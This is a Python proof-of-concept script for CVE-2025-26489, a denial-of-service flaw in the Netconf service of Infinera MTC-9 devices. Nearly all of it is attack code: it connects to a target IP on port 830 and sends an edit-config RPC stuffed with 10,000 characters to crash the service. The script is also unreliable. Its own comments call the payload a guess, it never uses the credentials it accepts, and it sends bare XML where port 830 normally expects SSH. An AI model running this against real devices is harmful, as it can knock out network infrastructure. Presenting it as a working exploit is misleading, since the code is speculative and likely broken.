CVE-2025-26489 Infinera MTC-9 Netconf服务拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-26489 PoC - Infinera MTC-9 Netconf DoS Note: This PoC is for educational and authorized testing purposes only. """ import socket import sys def send_netconf_payload(target_ip, target_port=830, username="low_priv_user", password="password"): """ Send a crafted XML payload to trigger the Netconf service vulnerability. This PoC demonstrates sending a malformed XML payload that could trigger improper input validation in Infinera MTC-9 Netconf service. """ # Crafted XML payload that may trigger input validation issues # The exact payload structure may vary based on specific vulnerability details malicious_xml = """<?xml version="1.0" encoding="UTF-8"?> <rpc message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"> <edit-config> <target> <running/> </target> <config> <system xmlns="http://example.com/system"> <invalid-element-with-overly-long-value>""" + "A" * 10000 + """</invalid-element-with-overly-long-value> </system> </config> </edit-config> </rpc> ]]>]]>""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) # Send Hello message first (Netconf handshake) hello_msg = """<?xml version="1.0"?> <hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"> <capabilities> <capability>urn:ietf:params:netconf:base:1.0</capability> </capabilities> </hello> ]]>]]>""" sock.send(hello_msg.encode()) hello_response = sock.recv(4096) print(f"[+] Received Hello response: {hello_response.decode()[:200]}...") # Send the malicious payload print(f"[*] Sending crafted XML payload...") sock.send(malicious_xml.encode()) # Wait for response try: response = sock.recv(4096) print(f"[*] Received response: {response.decode()[:200]}") except socket.timeout: print("[*] No response received (service may have crashed)") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 830 print(f"[*] Targeting {target}:{port}") send_netconf_payload(target, port)